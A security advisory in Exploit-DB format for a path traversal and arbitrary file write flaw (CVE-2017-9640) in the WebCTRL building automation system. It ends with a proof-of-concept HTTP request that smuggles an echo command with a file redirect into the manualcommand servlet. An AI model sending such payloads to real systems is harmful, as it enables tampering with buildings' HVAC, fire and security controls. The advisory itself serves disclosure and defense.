Automated Logic WebCTRL 6.1 - Path Traversal / Arbitrary File Write

EDB-ID: 42543
Author: LiquidWorm
Published: 2017-08-22
CVE: CVE-2017-9640
Type: Webapps
Platform: Java
Vulnerable App: N/A


Vendor: Automated Logic Corporation
Product web page:
Affected version: ALC WebCTRL, SiteScan Web 6.1 and prior
ALC WebCTRL, i-Vu 6.0 and prior
ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior
ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior

Summary: WebCTRL®, Automated Logic's web-based building automation
system, is known for its intuitive user interface and powerful integration
capabilities. It allows building operators to optimize and manage
all of their building systems - including HVAC, lighting, fire, elevators,
and security - all within a single HVAC controls platform. It's everything
they need to keep occupants comfortable, manage energy conservation measures,
identify key operational problems, and validate the results.

Desc: The vulnerability is triggered by an authenticated user that can use
the manualcommand console in the management panel of the affected application.
The ManualCommand() function in ManualCommand.js allows users to perform additional
diagnostics and settings overview by using pre-defined set of commands. This
can be exploited by using the echo command to write and/or overwrite arbitrary
files on the system including directory traversal throughout the system.

Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601)
Apache Tomcat/7.0.42
Java HotSpot Server VM 23.25-b01
Ant 1.7.0
Axis 1.4
Trove 2.0.2
Xalan Java 2.4.1
Xerces-J 2.6.1

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2017-5430
Advisory URL:

CVE ID: CVE-2017-9640




GET /_common/servlet/lvl5/manualcommand?wbs=251&action=echo%20peend>..\touch.txt&id=7331 HTTP/1.1


GET http://TARGET/touch.txt HTTP/1.1


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